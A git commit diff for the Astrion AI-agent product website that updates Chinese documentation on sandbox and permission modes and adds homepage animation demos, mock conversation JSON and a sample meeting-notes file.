feat: 04版本控制动画 + 演示区5条真实对话mock + 文档同步沙箱重构

- 主页第4行特色动画(版本控制)及 01/02/03 动画迭代
- 演示区对话 mock 全部换为真实对话转换:日常使用(汽车对比新/整理周会速记)、
  StarRaid(弹幕调研/像素飞机设计)、开发实战(猫咪咖啡店多智能体)
- 子智能体 activity、消息截图媒体、文件卡片资源(docx/pdf/html)随站点发布
- sw.js: file/content 二进制 MIME、/api/conversations/media 路由、
  模型列表扩为 K3/V4-Flash/MiniMax-M3/GLM-5.2、CACHE v5
- content/ 同步 8-31 沙箱重构文档更新
This commit is contained in:
JOJO 2026-09-03 07:47:39 +08:00
parent 32e2544e1e
commit 64d0a377dc
48 changed files with 4529 additions and 1048 deletions

View File

@ -215,7 +215,7 @@ Astrion 的运行态数据(对话记录、用户、日志、部署级配置)
| | **host 模式** | **web/docker 模式** |
|---|---|---|
| 定位 | 本地个人使用 | 服务器多用户部署 |
| 命令执行 | 宿主机 OS 沙箱macOS sandbox-exec / Linux bwrap / Windows WSL2 | 每个用户独立 Docker 容器 |
| 命令执行 | 宿主机 OS 沙箱macOS sandbox-exec / Linux bwrap / Windows WSL2 | 每个用户独立 Docker 容器,受限档权限下以非特权 uid 执行 |
| 数据目录 | `~/.astrion/astrion/host/` | `~/.astrion/astrion/web/` |
| 前置准备 | 无需镜像Windows 需先装 WSL2 | 必须先构建镜像:`docker build -f docker/terminal.Dockerfile -t my-agent-shell:latest .`(构建上下文必须是仓库根) |
| 镜像名 | — | 由 `TERMINAL_SANDBOX_IMAGE` 指定,建议 `my-agent-shell:latest` |

View File

@ -20,7 +20,7 @@ Astrion 有四组**相互正交**的概念,理解它们是理解整个系统
两者的数据目录完全分开(`~/.astrion/astrion/host/` 与 `web/`),但 host 模式会**合并读取** web 模式的用户与工作区列表——同一台机器上两种模式的历史数据都能看到。
> 注意docker 模式目前**没有**与宿主机同等的 OS 级只读沙箱机制。容器本身就是隔离边界,但「只读沙箱→审批→单次可写重试」这套两段式流程是 host 模式专属
> 注意docker 模式同样有只读强制——受限档权限readonly/approval/auto_approval命令以非特权用户uid 10001在容器内执行写入由内核文件权限直接拒绝「只读→审批→单次可写重试」两段式流程与 host 模式一致(详见《执行与安全》)
## 2. 权限模式AI 能做什么
@ -55,17 +55,17 @@ Astrion 有四组**相互正交**的概念,理解它们是理解整个系统
执行环境是**系统层**开关(仅 host 模式可切换),决定命令最终是否经过 OS 沙箱:
- **sandbox默认**:命令在 OS 沙箱中执行,读写边界由「路径授权」限定。沙箱不可用时关键执行路径会**拒绝执行**,不会静默回退到裸宿主机。
- **direct高风险**:命令直接在宿主机执行,无任何沙箱限制。仅建议明确需要系统级权限时**短时**开启,用完立即切回。切换后一直生效,没有自动回退机制。
- **direct高风险**:命令直接在宿主机执行,无任何沙箱限制。仅 `unrestricted` 权限可选——受限档readonly/approval/auto_approval与 direct 硬互斥,在受限档下切 direct 会被拒绝,从 direct 切入受限档会被自动压回 sandbox。仅建议明确需要系统级权限时**短时**开启,用完立即切回。切换后一直生效,没有自动回退机制。
### 各平台沙箱实现与安全水位(请务必阅读)
| 平台 | 实现 | 安全水位 |
|------|------|----------|
| **Windows** | WSL2 | **可以做到完全的数据隔离**——命令跑在独立的 WSL2 文件系统中。前提是**先自行安装 WSL2**,未安装时沙箱不可用 |
| **macOS** | sandbox-exec | **能限制写入,但无法保证数据不泄露**——macOS 沙箱策略下文件系统对进程全局可读AI 执行的命令仍可能读到你的私人文件。涉及敏感数据时请谨慎 |
| **Linux** | bubblewrap (bwrap) + seccomp | **尚未经过实际测试**,不建议在生产环境依赖其隔离性 |
| **macOS** | sandbox-exec | **白名单读模型,读写都可限制**——进程默认只能读系统目录、工作区与已授权路径,越界读取会被直接拒绝。固有代价:授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读) |
| **Linux** | bubblewrap (bwrap) + seccomp | 写入可限制(只读档全局只读),但**读侧仍是全局可读**、尚未对齐白名单;且尚未经过实际测试,不建议在生产环境依赖其隔离性 |
这是官方对当前安全能力的如实说明:把沙箱当作「防误操作」的手段是可靠的;把它当作「防恶意窃取数据」的手段,目前只有 WindowsWSL2路径可以信赖
这是官方对当前安全能力的如实说明:把沙箱当作「防误操作」的手段,三个平台都是可靠的;把它当作「防恶意窃取数据」的手段,macOS白名单与 WindowsWSL2可以信赖Linux 暂时不行
### 路径授权
@ -76,7 +76,7 @@ host 模式下,沙箱的文件访问边界由路径授权决定,分两类:
关系:`可读集合 = 可读可写 + 仅可读``可写集合 = 可读可写`。在输入栏 `+` 菜单 →「路径授权」中维护。推荐保持最小授权:工作区 + 临时目录。
> 终端会话terminal 系列工具)在启动时绑定当时的执行环境与沙箱策略;**切换执行环境sandbox ⇄ direct、切换工作区或容器时,现有终端会话会被直接关闭**,随后在重新拉起的会话中按新策略执行。
> 终端会话terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**:受限档下终端以只读身份运行,`unrestricted` 下才是可写身份。**切换执行环境sandbox ⇄ direct、权限档在受限档与无限制之间互切、切换工作区或容器时,现有终端会话会被直接关闭**,随后在重新拉起的会话中按新策略执行。
### 网络权限
@ -105,7 +105,7 @@ host 模式下,沙箱的文件访问边界由路径授权决定,分两类:
## 5. 四组概念的联动规则速查
1. plan 模式 → 权限强制 readonly、执行环境强制 sandbox网络权限仍可调
2. readonly 权限 → 执行环境自动锁定为 sandboxdirect 无意义)
2. 受限档权限readonly/approval/auto_approval→ 执行环境自动锁定为 sandboxdirect 仅 unrestricted 可用
3. 批准 plan 计划 → 自动切 execute 并恢复进入 plan 前的权限与执行环境;
4. docker 模式下没有 sandbox/direct 之分,容器即边界;
5. 权限模式、执行环境、运行模式都是**对话级**状态:新对话继承当前输入栏的取值,个人空间里的「默认权限模式 / 默认运行模式」只影响首次构造。

View File

@ -6,23 +6,23 @@
---
## 1. 命令是怎么被执行的host 模式)
## 1. 命令是怎么被执行的
### run_command两段式执行
以默认推荐的 `approval` 模式为例,一条 AI 发起的 shell 命令的实际旅程是:
1. **先在只读沙箱执行**——能读不能写
1. **先在只读身份下执行**——能读不能写host 模式靠 OS 沙箱docker 模式靠容器内的非特权用户)
2. 如果命令没碰写操作,直接返回结果,全程无感;
3. 如果触发权限拒绝(要写文件、要改系统),**自动转为向你发起审批**
4. 你批准后,**仅这一条命令**以可写沙箱重试;你拒绝或超时未处理,则本次不执行;
4. 你批准后,**仅这一条命令**以可写身份重试;你拒绝或超时未处理,则本次不执行;
5. AI 拿到的是最终结果,中间过程不干扰它的思路。
`auto_approval` 模式把第 3 步的审批者换成自动审批智能体;`unrestricted` 模式跳过审批直接执行;`readonly` 模式下写入类请求直接拒绝。
`auto_approval` 模式把第 3 步的审批者换成自动审批智能体;`unrestricted` 模式跳过审批直接执行;`readonly` 模式下写入类请求直接拒绝。注意审批**只放大这一次写入、不放大读取范围**——想读工作区之外的文件,唯一途径是路径授权(见第 2 节)。
### 终端会话:切换即关闭
### 终端会话:身份钉死,切换即关闭
持久终端会话terminal 系列工具)在启动时绑定当时的执行环境与沙箱策略。当你**切换执行环境sandbox ⇄ direct、切换工作区或容器**时,现有终端会话会被**直接关闭**——不会带着旧策略继续运行,后续操作在重新拉起的会话中按新策略执行。这也意味着:跑长任务时不要切换这些开关,任务会随会话一起终止。
持久终端会话terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**受限档readonly/approval/auto_approval下终端以只读身份运行终端里的写入由系统直接拒绝EPERM`unrestricted` 下才是可写身份。当你**切换执行环境sandbox ⇄ direct权限档在受限档与无限制之间互切、切换工作区或容器**时,现有终端会话会被**直接关闭**——不会带着旧身份继续运行,后续操作在重新拉起的会话中按新策略执行。这也意味着:跑长任务时不要切换这些开关,任务会随会话一起终止。
### 子智能体与后台命令
@ -60,17 +60,19 @@
## 6. 关于 direct 模式的忠告
`direct` = 命令直接在宿主机执行,**没有任何沙箱**。合理使用场景只有一个:某条命令在沙箱里确实跑不了(需要系统级权限),且没有替代方案。此时:
`direct` = 命令直接在宿主机执行,**没有任何沙箱**。它与受限档权限readonly/approval/auto_approval硬互斥——只有 `unrestricted` 才能选 direct从 direct 切入受限档时会被自动压回 sandbox。合理使用场景只有一个:某条命令在沙箱里确实跑不了(需要系统级权限),且没有替代方案。此时:
1. 临时切到 direct
2. 跑完立即切回 sandbox
1. 先把权限档切到 `unrestricted`,再临时切到 direct
2. 跑完立即切回 sandbox(和原来的权限档)
3. 注意 direct 切换后**永久生效、不会自动回退**——忘记切回等于长期裸奔。
## 7. docker 模式的安全现状
docker 模式下,隔离边界是容器本身:每个用户的终端在独立容器中,互相不可见。但要注意
docker 模式下,用户之间的隔离边界是容器本身:每个用户的终端在独立容器中,互相不可见。容器**内部**的权限约束同样是真强制
- 目前**没有**与 host 模式同等的 OS 级只读沙箱,「只读→审批→可写重试」两段式在容器内不适用,容器内的权限约束主要靠提示词层面的规范;
- 受限档readonly/approval/auto_approvalrun_command、后台命令与持久终端都以**非特权用户uid 10001**在容器内执行——工作区属主是 root写入由内核文件权限直接拒绝不依赖对命令文本的识别审批通过后仅该条命令以 root 身份重试;
- 生效前提:工作区属主为 root、没有全局可写的文件、容器未挂载 docker.sock按官方部署文档操作即满足
- 该强制仅在 **Linux 宿主机**上成立——macOS 本机的 Docker Desktop 不执行 uid 文件权限,本机开发时不要把容器内部权限当安全边界;
- 多用户部署时应配合容器资源限制、镜像最小化等常规容器安全实践。
## 8. 各平台安全水位
@ -78,7 +80,7 @@ docker 模式下,隔离边界是容器本身:每个用户的终端在独立
再次强调《核心概念》中的结论,因为它直接影响你该信任沙箱到什么程度:
- **WindowsWSL2**:可做到完全数据隔离,需先安装 WSL2
- **macOSsandbox-exec**能限制写入,但文件系统全局可读,**不能防止数据泄露**,请勿在可读范围内放置敏感数据
- **Linuxbwrap+seccomp****尚未实测**,不要依赖其隔离性。
- **macOSsandbox-exec**白名单读模型,写入和读取都可限制——进程默认只能读系统目录、工作区与已授权路径;代价是授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读)
- **Linuxbwrap+seccomp**写入可限制,但读侧仍是全局可读、尚未对齐白名单,且**尚未实测**,不要依赖其隔离性。
无论哪个平台,沙箱的首要价值是**防误操作**涉及真正的敏感数据请叠加路径授权最小化、网络受限、readonly 权限等手段综合防护。

View File

@ -32,13 +32,13 @@
}
.stage { display: flex; flex-direction: column; align-items: center; gap: 18px; }
.hint { font-size: 13px; color: var(--text-3); }
#anim2Window { width: 540px; height: 320px; }
#anim2Window { width: 540px; height: 388px; }
</style>
</head>
<body>
<div class="stage">
<p class="hint">点击顶部标签切换情节;再次点击当前标签重播</p>
<p class="hint">自动无限循环播放:每轮随机 20 条15 短 + 5 长),弹道随机</p>
<div id="anim2Window"></div>
</div>

View File

@ -4,65 +4,19 @@
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>修改记录动画 demo</title>
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
<link rel="stylesheet" href="/site-assets/anim3-demo.css" />
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
<link rel="stylesheet" href="/site-assets/anim-records.css" />
</head>
<body>
<div class="stage">
<p class="hint">自动播放;点击场景重播。</p>
<div class="anim3-window" id="anim3Window">
<div class="anim3-stage" id="anim3Stage">
<!-- 智能体(右上),初始持笔 -->
<div class="writer" id="writer">
<span class="writer-avatar" id="writerAvatar"></span>
</div>
<!-- 笔:外层 pen-pos 由 JS 定位笔尖,内层 svg 绕笔尖摇摆 -->
<div class="pen-pos" id="penPos">
<svg class="writer-pen" id="writerPen" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
<path fill="var(--bg-1)" d="M21.174 6.812a1 1 0 0 0-3.986-3.987L3.842 16.174a2 2 0 0 0-.5.83l-1.321 4.352a.5.5 0 0 0 .623.622l4.353-1.32a2 2 0 0 0 .83-.497z" />
<path d="m15 5 4 4" />
<circle id="penNibRef" class="pen-ref" cx="2.65" cy="21.02" r="0.7" />
<circle id="penEraserRef" class="pen-ref" cx="19.2" cy="4.8" r="0.7" />
</svg>
</div>
<!-- 3D 倾斜的纸:四条横线代表四行内容 -->
<div class="paper3d" id="paper">
<div class="paper-sheet">
<div class="pline" data-w="82"><i class="pline-end"></i></div>
<div class="pline" data-w="64"><i class="pline-end"></i></div>
<div class="pline" data-w="71"><i class="pline-end"></i></div>
<div class="pline" data-w="58"><i class="pline-end"></i></div>
</div>
</div>
<!-- 收件箱diff 正下方):后壁在纸后、前壁在纸前,纸从中间沉入。
两个 svg 直接放 stage 层不包容器z-index 才能与纸比较 -->
<svg class="inbox-part box-back is-shown" id="boxBack" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
<path d="M2 12 L5.45 5.11 A2 2 0 0 1 7.24 4 H16.76 a2 2 0 0 1 1.79 1.11 L22 12" />
</svg>
<!-- 前壁:单条闭合 path顶部边缘走凹口轮廓fill 遮挡面积 = 真实盒身,凹口可透纸带) -->
<svg class="inbox-part box-front is-shown" id="boxFront" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="0.9" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">
<path d="M2 12 h6 l2 3 h4 l2 -3 h6 v6 a2 2 0 0 1 -2 2 H4 a2 2 0 0 1 -2 -2 z" />
</svg>
<!-- diff 区:抽出的绿行展开为红绿 +/- 实际代码 -->
<div class="diff-view" id="diffView">
<div class="dline is-del"><span class="dsign">-</span><span class="dtext">theme: 'dark'</span></div>
<div class="dline is-add"><span class="dsign">+</span><span class="dtext">theme: 'classic'</span></div>
<div class="dline is-del"><span class="dsign">-</span><span class="dtext">fontSize: 13, lineHeight: 1.4</span></div>
<div class="dline is-add"><span class="dsign">+</span><span class="dtext">fontSize: 14, lineHeight: 1.6</span></div>
</div>
</div>
</div>
<p class="hint">自动播放;收盒后自动轮播,按下卡片暂停 5 秒。</p>
<div class="anim-host" id="animRecords"></div>
</div>
<script src="/site-assets/astrion-avatar.js"></script>
<script src="/site-assets/anim3-demo.js"></script>
<script src="/site-assets/anim-records.js"></script>
<script>AnimRecords.init(document.getElementById('animRecords'));</script>
</body>
</html>

22
demo/anim4-demo.html Normal file
View File

@ -0,0 +1,22 @@
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>版本控制动画 demo</title>
<link rel="stylesheet" href="/site-assets/anim4-demo.css" />
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
<link rel="stylesheet" href="/site-assets/anim-version.css" />
</head>
<body>
<div class="stage">
<p class="hint">自动循环播放:赶工 → 闯祸 → 惊吓 → 时光机倒流 → 归来。</p>
<div class="anim-host" id="animVersion"></div>
</div>
<script src="/site-assets/astrion-avatar.js"></script>
<script src="/site-assets/anim-version.js"></script>
<script>AnimVersion.init(document.getElementById('animVersion'));</script>
</body>
</html>

View File

@ -9,6 +9,8 @@
<link rel="stylesheet" href="/site-assets/astrion-avatar.css" />
<link rel="stylesheet" href="/site-assets/anim-shared.css" />
<link rel="stylesheet" href="/site-assets/anim-sandbox.css" />
<link rel="stylesheet" href="/site-assets/anim-records.css" />
<link rel="stylesheet" href="/site-assets/anim-version.css" />
<link rel="stylesheet" href="/site-assets/site.css" />
</head>
<body>
@ -100,20 +102,22 @@
<div class="feature-anim" id="animSandbox" aria-hidden="true"></div>
</div>
<div class="feature-row">
<div class="feature-row feature-row--anim">
<div class="feature-text">
<p class="feature-index">03</p>
<h3 class="feature-title">修改记录</h3>
<p class="feature-desc">每一次文件编辑都留下一条 diff<br>改了哪个文件、加了几行、删了几行。<br>按任务逐条查看,也可以单独撤销其中任意一次修改。</p>
</div>
<div class="feature-anim" id="animRecords" aria-hidden="true"></div>
</div>
<div class="feature-row">
<div class="feature-row feature-row--anim">
<div class="feature-text">
<p class="feature-index">04</p>
<h3 class="feature-title">版本控制</h3>
<p class="feature-desc">每条消息自动成为一个检查点。<br>发现方向不对时,回退到任意一条消息之前——<br>对话和文件一起还原,不用手工收拾残局。</p>
</div>
<div class="feature-anim" id="animVersion" aria-hidden="true"></div>
</div>
</div>
@ -179,6 +183,8 @@
<script src="/site-assets/astrion-avatar.js"></script>
<script src="/site-assets/anim-sandbox.js"></script>
<script src="/site-assets/anim-modes.js"></script>
<script src="/site-assets/anim-records.js"></script>
<script src="/site-assets/anim-version.js"></script>
<script src="/site-assets/site.js"></script>
</body>
</html>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1 +1,24 @@
{"success": true, "data": {"conversations": [], "has_more": false, "limit": 20, "offset": 0, "total": 0}}
{
"success": true,
"data": {
"conversations": [
{
"id": "conv_20260902_235153_495",
"title": "猫咪咖啡店官网demo制作",
"project_path": "/Users/demo/dev",
"project_relative_path": null,
"multi_agent_mode": true,
"thinking_mode": true,
"status": "active",
"total_messages": 185,
"total_tools": 87,
"created_at": "2026-09-02T23:51:53.495751",
"updated_at": "2026-09-03T00:40:08.788991"
}
],
"has_more": false,
"limit": 20,
"offset": 0,
"total": 1
}
}

View File

@ -1 +1,63 @@
{"success": true, "data": {"conversations": [{"id": "conv_20260823_122836_778", "title": "弹幕游戏美术设计调研", "project_path": "/Users/demo/starraid", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 29, "total_tools": 13, "created_at": "2026-08-23T12:28:36.778945", "updated_at": "2026-08-23T13:32:51.486262"}, {"id": "conv_20260823_133304_218", "title": "尚界Z7与小米SU7外观对比", "project_path": "/Users/demo/daily", "project_relative_path": null, "multi_agent_mode": false, "thinking_mode": true, "status": "active", "total_messages": 11, "total_tools": 6, "created_at": "2026-08-23T13:33:04.218941", "updated_at": "2026-08-23T13:35:36.442941"}], "has_more": false, "limit": 20, "offset": 0, "total": 2}}
{
"success": true,
"data": {
"conversations": [
{
"id": "conv_20260823_122836_778",
"title": "弹幕游戏美术设计调研",
"project_path": "/Users/demo/starraid",
"project_relative_path": null,
"multi_agent_mode": false,
"thinking_mode": true,
"status": "active",
"total_messages": 29,
"total_tools": 13,
"created_at": "2026-08-23T12:28:36.778945",
"updated_at": "2026-08-23T13:32:51.486262"
},
{
"id": "conv_20260825_210916_394",
"title": "整理周会速记为 Word",
"project_path": "/Users/demo/daily",
"project_relative_path": null,
"multi_agent_mode": false,
"thinking_mode": true,
"status": "active",
"total_messages": 32,
"total_tools": 15,
"created_at": "2026-08-25T21:09:16.394889",
"updated_at": "2026-09-03T00:28:37.188421"
},
{
"id": "conv_20260825_222209_771",
"title": "像素太空飞机设计稿",
"project_path": "/Users/demo/starraid",
"project_relative_path": null,
"multi_agent_mode": false,
"thinking_mode": true,
"status": "active",
"total_messages": 4,
"total_tools": 1,
"created_at": "2026-08-25T22:22:09.771765",
"updated_at": "2026-08-25T22:38:44.394880"
},
{
"id": "conv_20260903_003950_896",
"title": "尚界Z7与小米SU7外观",
"project_path": "/Users/demo/daily",
"project_relative_path": null,
"multi_agent_mode": false,
"thinking_mode": true,
"status": "active",
"total_messages": 12,
"total_tools": 6,
"created_at": "2026-09-03T00:39:50.896435",
"updated_at": "2026-09-03T00:42:05.089376"
}
],
"has_more": false,
"limit": 20,
"offset": 0,
"total": 4
}
}

View File

@ -0,0 +1,54 @@
11.12 周会速记(很乱,回头整理)
产品+技术+运营 三方对齐会
到场我、老王王磊、Lisa、测试小赵、运营Amanda老板后半程进来待了大概10分钟
3F 蒲公英会议室原定14:00开始实际14:15人才到齐
== 双十一大促 ==
Amanda预算批下来了 80w主推玩法 满300减50 + 前2小时折上折
节奏11.10 晚8点开始预热11.11 0点正式开抢11.12 返场一天(返场力度待定)
注意去年0点秒杀服务挂了12分钟被骂上热搜那次。老王拍胸脯说今年扩容3倍口头的待压测验证
压测 11.5 前必须出报告,负责人王磊,小赵配合
Amanda补充预算里含 12w KOL 投放6个腰部博主名单还没定下周给
这里好像和80w总数有点对不上会上忘了问待确认12w是80w里面的还是额外的
== App 3.2 版本 ==
- 首页改版Lisa 出终稿11.18 出内测包
- 搜索联想词 bug 还没修完用户已经投诉3次了其实10.28就提过一次,优先级要升 P0
- 安卓崩溃率 0.8%,要压到 0.3% 以下。小赵:主要集中在 OPPO 某几个机型,复现中
- iOS 提审风险3.2 的「关联启动」可能被卡,老王说先提审试试,不行再砍
- 内测包 11.18,正式版想赶 11.25,但看压测和崩溃率情况再说
15:02 老板进来了
老板:双十一 GMV 目标 8000w原话比较委婉但意思是完不成年终奖很难看
老板客服话术必须更新现在退费流程太长NPS 掉到 31 了,这个数很难看
老板走了以后大家沉默了大概半分钟
== 数据回顾Amanda 口头报的,回头要邮件确认准确数) ==
10月 DAU 42w环比 +6%
新客成本 38元/人比9月涨了4块
复购率 21%(?这个数我记的可能不准)
客单价 176 元
搜索到下单的转化率 3.2%Lisa 说首页改版主要就是为了拉这个
跑题记录:中午食堂新开的麻辣烫不错,小赵推荐了二楼咖啡,散会要去试试
== 待办(我自己随手记的,不全) ==
1. Lisa 首页终稿 11.15 前
2. 压测报告 11.5,老王
3. OPPO 机型崩溃复现小赵11.8
4. 双11活动页文案 Amanda 11.6
5. 我:整理这份会议纪要发全员
6. 客服话术新版 11.20 前出初稿——负责人是谁来着??会上好像说了又好像没说,待确认
7. KOL 名单 Amanda 下周
8. 搜索联想 bug 修复排期——老王说下版本前修掉,具体日期没定
== 杂事 ==
团建投票:安吉 vs 崇明,目前 7:5行政让周五前投完
小赵申请换显示器,审批走到我这了,提醒我记得点
老王提了一嘴想招一个实习生前端,年后再说
下次会11.19周三下午3点老地方 3F-蒲公英
议程预告:压测报告 review + 首页终稿 review + 双十一最终确认
哦对差点忘了:会议室投影仪又坏了,行政说报修了第三次了

Binary file not shown.

Binary file not shown.

1349
demo/mock/files/index.html Normal file

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 265 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 44 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 265 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 161 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

View File

@ -0,0 +1,33 @@
{
"success": true,
"data": [
{
"task_id": "sub_1_1788364427_985302",
"status": "completed",
"summary": "调研素材已充分catmocha.jp 首页全文、% Arabica 官网案例、Blue Bottle 摄影语言、Meo",
"conversation_id": "conv_20260902_235153_495",
"created_at": 1788364.427
},
{
"task_id": "sub_2_1788364429_91688a",
"status": "completed",
"summary": "已完成调研。基于 web_search + extract_webpage 的实时信息Nippon Colors 传统",
"conversation_id": "conv_20260902_235153_495",
"created_at": 1788364.429
},
{
"task_id": "sub_3_1788364431_74db3e",
"status": "completed",
"summary": "调研完成。已核实 Kitty Brew、NEKO、Cat Cafe San Diego、Coffee Cats、Orla",
"conversation_id": "conv_20260902_235153_495",
"created_at": 1788364.431
},
{
"task_id": "sub_4_1788364765_5d6208",
"status": "completed",
"summary": "子智能体已被手动终止",
"conversation_id": "conv_20260902_235153_495",
"created_at": 1788364.765
}
]
}

View File

@ -29,13 +29,24 @@ window.AnimModes = (function () {
/* ── 代次令牌:切换模式时作废旧序列的所有后续步骤 ── */
var gen = 0;
function sleep(ms) {
return new Promise(function (r) { setTimeout(r, ms); });
/* rAF rAF
setTimeout 在后台只是降频不会停会攒动画导致恢复瞬间全部放完 */
function rafWait(ms) {
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
last = now;
if (acc >= ms) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
/** 可中断 sleep醒来后发现已切换模式则抛错终止序列 */
async function step(ms, myGen) {
await sleep(ms);
await rafWait(ms);
if (myGen !== gen) throw new Error('cancelled');
}
@ -294,8 +305,16 @@ window.AnimModes = (function () {
t.addEventListener('click', function () { play(t.dataset.mode); });
});
// 首次进入默认播放「计划」
play('plan');
// 首次进入默认播放「计划」——进入视口才开始:页面打开时用户可能还没滚到功能区,避免错过开场
var started = false;
var io = new IntersectionObserver(function (entries) {
if (!started && entries[0].isIntersecting) {
started = true;
io.disconnect();
play('plan');
}
}, { threshold: 0.3 });
io.observe(container);
}
return { init: init };

View File

@ -0,0 +1,301 @@
/* 修改记录动画 模块样式主页 feature / anim3-demo 页共用
无边框无底色融于星空 glowtoken--text-1 由宿主页面提供
动画私有的三个色定义在 .anim3-window 作用域 */
.anim3-window {
--danger: #d47b6b; /* diff 删除行红,仅本动画作用域 */
/* 收盒文件:与编辑中的 3D 纸同款底色,边框用更亮的白边(叠放分层清晰) */
--file-paper: var(--bg-panel);
--file-line: rgba(238, 240, 246, 0.35);
position: relative;
width: 100%;
height: 100%;
overflow: hidden;
}
/* 舞台:固定 540×380 逻辑尺寸JS 按容器等比缩放居中transform: translate+scale */
.anim3-stage {
position: absolute;
left: 50%;
top: 50%;
width: 540px;
height: 380px;
overflow: hidden;
cursor: pointer;
user-select: none; /* 演示区禁止选中文本,避免鼠标划过时出现系统选中高亮(黑光) */
-webkit-user-select: none;
}
/* ───────── 智能体(右上) ───────── */
/* 尺寸与 04 版本控制的智能体一致70×70 */
.writer {
position: absolute;
right: 58px;
top: 26px;
width: 70px;
height: 70px;
}
.writer-avatar {
display: block;
width: 70px;
height: 70px;
color: var(--text-1);
}
.writer-avatar .astrion-avatar { width: 100%; height: 100%; }
/* 双层结构
外层 pen-posJS 逐帧/过渡定位使笔尖精确落在文字进度点上
内层 svg以笔尖为圆心旋转摇摆transform-origin 在笔尖
既有晃动笔尖又不会脱离位置 */
.pen-pos {
position: absolute;
left: 0;
top: 0;
z-index: 40; /* 最高层:高于 3D 纸、盒子30与堆叠纸21~23笔不能被挡 */
width: 40px;
height: 40px;
color: var(--accent);
will-change: transform;
transition: transform 0.45s cubic-bezier(.4,0,.2,1); /* 飞行/移动用过渡 */
}
.pen-pos.is-live {
transition: none; /* 写字逐帧驱动时关闭过渡 */
}
.writer-pen {
width: 40px;
height: 40px;
/* origin = 笔尖视觉触点SVG (2.65,21.02) 40px 盒内 (4.4,35.0) nibRef 同点
摇摆时笔尖钉住不动只有笔身晃 */
transform-origin: 11% 87.6%;
}
.writer-pen.is-writing {
animation: pen-write 0.42s ease-in-out infinite;
}
/* 擦除origin 切到笔尾橡皮触点SVG (19.2,4.8) → 盒内 (32,8)),与 eraserRef 同点 */
.writer-pen.is-erasing {
transform-origin: 80% 20%;
}
@keyframes pen-write {
0%, 100% { transform: rotate(-5deg); }
50% { transform: rotate(6deg); }
}
/* ───────── 3D 倾斜的纸 ───────── */
/* perspective 让纸呈平行四边形(不倾斜就只是一条线) */
.paper3d {
position: absolute;
left: 280px;
top: 130px;
width: 192px;
height: 122px;
transform: perspective(760px) rotateX(42deg) rotateZ(-7deg);
transform-style: preserve-3d;
}
.paper-sheet {
width: 100%;
height: 100%;
background: var(--bg-panel);
border: 1px solid var(--line);
border-radius: 6px;
padding: 18px 16px;
display: flex;
flex-direction: column;
gap: 14px;
}
/* 内容行:横线代表一行内容(行宽由 JS 逐帧驱动,不用 transitionopacity 过渡供轮间换内容淡出) */
.pline {
position: relative;
height: 4px;
border-radius: 2px;
background: var(--text-3);
opacity: 0.75;
transition: opacity 0.28s ease;
}
.paper3d.is-refilling .pline { opacity: 0; }
/* 线右端锚点0 尺寸,随线的 3D/倾斜变换,供 JS 实测真实右端点 */
.pline-end {
position: absolute;
right: 0;
top: 50%;
width: 0;
height: 0;
margin-top: -0px; /* 点本身无尺寸top:50% 即线厚中心 */
}
/* 写入行不再用绿色:与其他行同色(修改记录靠的是 diff 区,不是纸面变色) */
/* ───────── diff 区 ───────── */
.diff-view {
position: absolute;
left: 134px; /* 盒子水平中线86+48diff 中心对齐盒子中线 */
transform: translateX(-50%);
top: 0;
font-family: var(--font-mono);
font-size: 12.5px;
line-height: 1.5;
display: flex;
flex-direction: column;
gap: 3px;
z-index: 20; /* 盒内堆叠纸(21~23)之下——genie 时已隐藏,由切片接管 */
border-radius: 6px;
transition: background 0.25s ease;
}
/* genie 前:四行 diff 合为一张纸的底板(不加 outlineshorthand 不可过渡,会闪白框) */
.diff-view.is-sheet {
background: rgba(24, 30, 52, 0.92);
}
/* 轮间重置:禁用过渡,红绿底色/符号瞬时消失(否则恢复显示时会闪一下空白红绿块) */
.diff-view.no-fade { transition: none; }
.diff-view.no-fade .dline::before { transition: none; }
.diff-view.no-fade .dsign { transition: none; }
/* 收盒文件卡片单元素裁切式 genie
卡片全程同一个 DOM 元素clip-path 多边形裁切不压缩内容
body 每帧定位到轮廓包围盒文字矢量缩小全程清晰无损 */
.file-flight {
position: absolute;
pointer-events: none;
opacity: 0;
transition: opacity 0.73s ease, transform 0.22s ease;
/* SVG 视口默认 hidden 会把描边外半侧0.5px裁掉——visible 让边缘描边完整 */
overflow: visible;
